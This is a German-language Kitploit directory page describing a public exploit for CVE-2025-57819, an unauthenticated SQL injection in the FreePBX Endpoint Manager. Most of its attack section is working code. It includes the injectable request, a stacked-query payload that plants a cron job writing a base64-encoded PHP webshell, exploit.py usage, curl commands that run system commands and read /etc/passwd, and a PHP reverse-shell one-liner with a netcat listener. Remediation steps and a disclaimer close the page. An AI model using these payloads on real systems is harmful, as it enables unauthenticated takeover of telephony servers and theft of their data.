Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
freepbx-endpoint-sqli-rce — Nicht authentifizierte SQL-Injection in FreePBX Endpoint Manager (CVE-2025-57819), die eine cron-geplante PHP-Webshell zur Remote-Code-Ausführung injiziert. | Kitploit
Tools/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

Nicht authentifizierte SQL-Injection in FreePBX Endpoint Manager (CVE-2025-57819), die eine cron-geplante PHP-Webshell zur Remote-Code-Ausführung injiziert.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-57819 — FreePBX Endpoint Module SQL Injection → Remote Code Execution

Zusammenfassung

FreePBX ist die Open-Source-Web-GUI für Asterisk PBX, die in Unternehmens-Telefonieumgebungen weit verbreitet ist. Das Endpoint Manager-Modul stellt einen AJAX-Handler unter /admin/ajax.php bereit, der einen brand-Parameter akzeptiert und diesen ohne Bereinigung direkt in eine SQL-Abfrage einfügt. Ein nicht authentifizierter entfernter Angreifer kann beliebiges SQL injizieren, eine Zeile in die cron_jobs-Tabelle einfügen und den FreePBX-Cron-Daemon dazu bringen, ein ausführbares PHP-Webshell in das Webroot zu schreiben – was zu einer nicht authentifizierten Remote-Code-Ausführung innerhalb von etwa einer Minute führt.


Schwachstellendetails

FeldWert
CVE IDCVE-2025-57819
CVSS Score9.8 (Kritisch)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — Unzureichende Neutralisierung von Sonderelementen in einem SQL-Befehl
KomponenteFreePBX Endpoint Manager Module
BetroffenFreePBX 17.x (ungepatcht)
BehobenFreePBX 17.x (gepatcht)
AngriffsvektorNetzwerk — Keine Authentifizierung erforderlich

Technische Analyse

Die angreifbare Anfrage zielt auf den AJAX-Befehls-Handler des Endpoint Managers ab:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

Der Parameter brand wird ohne Escaping oder Prepared Statements in eine SQL-Abfrage eingefügt. Ein Angreifer schließt die Abfragezeichenkette und hängt eine zweite Anweisung an:

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

Der injizierte Cron-Eintrag läuft jede Minute unter dem Web-Server/Asterisk-Prozessbesitzer und schreibt:

root@kitploit:~
<?php system($_GET[cmd]); ?>

nach /var/www/html/webshell.php, was eine nicht authentifizierte Betriebssystem-Befehlsausführung über HTTP ermöglicht.

Ursache

Der AJAX-Handler des Endpoint Managers erstellt SQL dynamisch mittels String-Formatierung anstelle von parametrisierten Abfragen. Das Feld brand wird nie validiert oder escaped, bevor es in eine SELECT-Anweisung eingebettet wird, was es trivial injizierbar macht.

Angriffskette

root@kitploit:~
Attacker  ──GET (SQL injection)──▶  /admin/ajax.php  ──INSERT──▶  cron_jobs table
                                                                          │
                                              FreePBX cron daemon (≤60s) │
                                                                          ▼
Attacker  ──GET ?cmd=id──────────▶  /webshell.php  ◀── written ──  cron exec

Nutzung des Exploits

Voraussetzungen

root@kitploit:~
pip install requests urllib3

Argumente

root@kitploit:~
  -t, --target    Ziel-IP-Adresse oder Hostname  (required)
      --timeout   Sekunden, die auf Verfügbarkeit des Ziels gewartet werden (default: 30)
      --delay     Sekunden, die auf Ausführung des Cron-Jobs gewartet werden (default: 65)

Schritt-für-Schritt

1. Führen Sie den Exploit gegen das Ziel aus:

root@kitploit:~
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>

# Use hostname
python3 exploit.py -t connected.htb

# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90

2. Wenn das Webshell bestätigt ist, interagieren Sie direkt damit:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. Führen Sie ein Upgrade auf eine Reverse-Shell über das Webshell durch:

Starten Sie einen Listener auf Ihrem Rechner:

root@kitploit:~
nc -lvnp <LOCAL_PORT>

Lösen Sie dann eine PHP-Reverse-Shell über den Parameter cmd aus (URL-kodiert):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

Der URL-dekodierte Payload, der als cmd gesendet wird, lautet:

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

Erwartete Ausgabe

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  FreePBX Endpoint Module  ·  SQL Injection → Cron Webshell       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2025-57819
  Component   :  FreePBX Endpoint Module
  Affected    :  unpatched 17.x   →  Patched: patched 17.x
  CVSS Score  :  9.8 (Critical)
  CVSS Vector :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — SQL Injection
  Type        :  Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
  Reference   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Probing target <IP>  (max 30s) ...
  14:03:12 [+] Target is alive — HTTP 200

  14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
  14:03:12 [!] Injecting cron job via SQL injection ...

  14:03:12 [+] Injection request sent
  14:03:12 [*] Waiting 65s for cron job to fire ...
  14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell is active — command output:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>

  14:04:17 [+] Exploit routine complete.

Hinweis zum Timing. Die Standardeinstellung --delay von 65 Sekunden stellt sicher, dass der Cron-Daemon (der zu Beginn jeder Minute ausgelöst wird) mindestens eine Gelegenheit hatte, den injizierten Job auszuführen. Bei langsamen Zielen erhöhen Sie auf --delay 90 oder --delay 120.


Behebung

PrioritätMaßnahme
KritischWenden Sie sofort den FreePBX-Anbieterpatch für CVE-2025-57819 an
KritischEntfernen Sie alle vorhandenen Artefakte von /var/www/html/webshell.php
HochBeschränken Sie den Zugriff auf /admin/ajax.php auf authentifizierte, vertrauenswürdige Netzwerkquellen
HochPrüfen und bereinigen Sie alle SQL-Abfragen im Endpoint Manager – verwenden Sie Prepared Statements
MittelSchränken Sie die cron_jobs-Tabelle ein: beschränken Sie, welche Rollen INSERT ausführen dürfen
MittelWenden Sie eine WAF-Regel an, die gestapelte Abfragemuster auf dem AJAX-Endpunkt blockiert
NiedrigFühren Sie den FreePBX/Asterisk-Prozess unter einem Konto mit minimalen Berechtigungen aus, das keinen Schreibzugriff auf das Webroot hat

Referenzen

  • NVD — CVE-2025-57819
  • CWE-89: SQL Injection
  • OWASP: SQL Injection
  • OWASP Top 10: A03 Injection
  • FreePBX Project
  • watchTowr Labs Reference PoC

Haftungsausschluss

Dieser Exploit wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Verwenden Sie ihn nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugte Nutzung ist illegal und unethisch.

Tool herunterladen